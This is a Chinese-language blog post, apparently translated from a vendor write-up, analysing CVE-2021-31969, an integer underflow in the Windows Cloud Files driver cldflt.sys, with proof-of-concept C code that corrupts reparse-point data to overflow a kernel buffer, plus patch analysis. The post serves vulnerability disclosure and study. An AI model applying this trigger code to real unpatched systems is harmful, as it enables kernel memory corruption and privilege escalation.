Windows 云同步引擎API整數溢出漏洞(CVE-2021-31969)

h1apwn
在這種情況下,文件本身駐留在云端,而在你的本地文件系統(tǒng)上,該文件的表示稱為“占位符”。在云中的文件可能很大,但占位符文件可能只消耗存儲標頭所需的幾個字節(jié)。當你訪問占位符文件時,Windows通過同步使關聯(lián)的云文件顯示出來。

隨著云存儲的普及,各種操作系統(tǒng)都添加了支持此類存儲的服務和功能?,F在可以在云端同步本地存儲,同時也可以在系統(tǒng)上檢索到問價。在Windows上,這種功能是通過Cloud Sync Engines云同步引擎完成的。該組件公開了一個Cloud Filter API的本機API。該API實現可在Cloud Files Mini Filter Driver或cldflt.sys中找到。本文介紹了有關此驅動程序中的整數下溢漏洞的一些詳細信息,該漏洞的編號為CVE-2021-31969/ZDI-21-797,它可以被利用來溢出內核緩沖區(qū)并通過權限提升實現代碼執(zhí)行。

0x01 Cloud Sync Engines

Windows中的Cloud Filter API啟用是從Windows 10版本的1709開始。它提供對Cloud Sync Engines云同步引擎的支持并處理創(chuàng)建和管理占位符文件和目錄之類的任務。Cloud Sync Engines云同步引擎是一種在遠程主機和本地客戶端之間同步文件的服務,它允許本地用戶通過Windows文件系統(tǒng)和文件資源管理器訪問云托管的文件和目錄。在這種情況下,文件本身駐留在云端,而在你的本地文件系統(tǒng)上,該文件的表示稱為“占位符”。在云中的文件可能很大,但占位符文件可能只消耗存儲標頭所需的幾個字節(jié)。當你訪問占位符文件時,Windows通過同步使關聯(lián)的云文件顯示出來。

0x02漏洞利用方法

以下是PoC中關鍵步驟的描述:

1:首先執(zhí)行同步注冊。然后啟動同步提供程序和同步過濾器API之間的通信:

WCHAR*dir=(WCHAR*)L"C:\ProgramData";

GUID guid=;

guid.Data1=0xB196E670;

guid.Data2=0x59C7;

guid.Data3=0x4D41;

CF_SYNC_REGISTRATION reg=;

reg.StructSize=sizeof(reg);

reg.ProviderName=L"test";

reg.ProviderVersion=L"1.0";

reg.ProviderId=guid;

CF_SYNC_POLICIES policies=;

policies.StructSize=sizeof(policies);

policies.HardLink=CF_HARDLINK_POLICY_ALLOWED;

policies.Hydration.Primary=CF_HYDRATION_POLICY_PARTIAL;

policies.InSync=CF_INSYNC_POLICY_NONE;

policies.Population.Primary=CF_POPULATION_POLICY_PARTIAL;

HRESULT hr=CfRegisterSyncRoot(dir,&reg,&policies,CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);

if(FAILED(hr)){

printf("CfRegisterSyncRoot failed with%pn",hr);

return 0;

}

CF_CALLBACK_REGISTRATION table[2];

table[0].Callback=DoTransferCallback;

table[0].Type=CF_CALLBACK_TYPE_FETCH_DATA;

table[1].Callback=nullptr;

table[1].Type=CF_CALLBACK_TYPE_NONE;

CF_CONNECTION_KEY key;

hr=CfConnectSyncRoot(dir,table,0,CF_CONNECT_FLAG_NONE,&key);

2:獲取目標目錄的句柄并通過FSCTL_GET_REPARSE_POINT控制代碼檢索重解析數據:

RtlInitUnicodeString(&name,ntDir);

InitializeObjectAttributes(&oa,&name,0,0,0);

ret=NtCreateFile(&hF,0xC0000000,&oa,&isb,0,0,0,3,1,0,0);

if(NT_SUCCESS(ret))

{

ret=NtFsControlFile(hF,0,0,0,&isb2,FSCTL_GET_REPARSE_POINT,0,0,rb,0x300);

if(NT_SUCCESS(ret))

{

//...

}

}

3:修改檢索到的重解析數據,將長度設置為零。然后通過FSCTL_SET_REPARSE_POINT_EX控制代碼將其設置回原位(標簽設置為0x9000301A,即IO_REPARSE_TAG_CLOUD_3)。最后,設置參數以code=0xC0000003通過cloud filter FSCTL(0x903BC)請求占位符更新。

rb[0xa]=0;//set(USHORT)length to zero

rb[0x9]=0xfa;

rb[0x8]=0xfa;

rb[13]=0x22;

rbLen+=*(UINT16*)(rb+4);

rbSet=(char*)malloc(rbLen+setLen);

memset(rbSet,0,rbLen+setLen);

*(UINT32*)(rbSet+0)=0;

*(UINT32*)(rbSet+4)=0x9000301A;

memcpy(rbSet+setLen,rb,rbLen);

ret=NtFsControlFile(hF,0,0,0,&isb2,FSCTL_SET_REPARSE_POINT_EX,rbSet,setLen+rbLen,0,0);

memset(output,0,0x100);

*(UINT32*)(output+0)=0x9000001a;

*(UINT32*)(output+4)=0xC0000003;

*(UINT32*)(output+8)=0x10000;

ret=NtFsControlFile(hF,0,0,0,&isb2,0x903BC,output,0x100,0,0);

0x03內核漏洞

內核驅動程序cldflt.sys負責處理cloud filter FSCTL。函數中用了大量switch語句來完成工作,這個函數被命名為HsmFltProcessHSMControl:

2345截圖20211028093243.png

圖1-HsmFltProcessHSMControl函數

對0xC0000003的操作,最終會調用HsmFltProcessUpdatePlaceholder:

2345截圖20211028093243.png

圖2-調用HsmFltProcessUpdatePlaceholder

經過一些處理,執(zhí)行流程將達到HsmpRpReadBuffer。首先分配一個緩沖區(qū),然后通過發(fā)出一個FSCTL_GET_REPARSE_POINT控制指令來檢索重解析數據。檢索到的數據可能已被攻擊者修改,之后調用HsmpRpiDecompressBuffer:

2345截圖20211028093243.png

圖3-調用HsmpRpiDecompressBuffer

在HsmpRpiDecompressBuffer內部,提供的長度(攻擊者已設置為零)被檢索并增加8。它保存在局部變量length中,然后用于分配內核緩沖區(qū)。之后,代碼通過調用RtlDecompressBuffer使用分配的緩沖區(qū)作為未壓縮數據的目標緩沖區(qū)繼續(xù)解壓縮數據。但是,它傳遞給RtlDecompressBuffer的指針不是已分配緩沖區(qū)的開始。而是已分配緩沖區(qū)開始前的12個字節(jié),以便為某些元數據騰出空間。相應地,它傳遞給RtlDecompressBuffer的緩沖區(qū)大小是length-12。在下面的反匯編代碼中,減法被優(yōu)化為ADD。在我們的例子中,這個減法產生了一個整數下溢,因此一個巨大的緩沖區(qū)長度值0xFFFFFFF4被傳遞給RtlDecompressBuffer,這會導致內核緩沖區(qū)溢出。

2345截圖20211028093243.png

圖4-整數下溢漏洞

0x04補丁分析

Microsoft通過添加檢查以確保檢索到的長度不小于4來修復此漏洞,這使得無法觸發(fā)整數下溢。

2345截圖20211028093243.png

圖5-來自Microsoft的補丁

本文翻譯自:https://www.zerodayinitiative.com/blog/2021/7/19/cve-2021-31969-underflowing-in-the-clouds

THEEND

最新評論(評論僅代表用戶觀點)

更多
暫無評論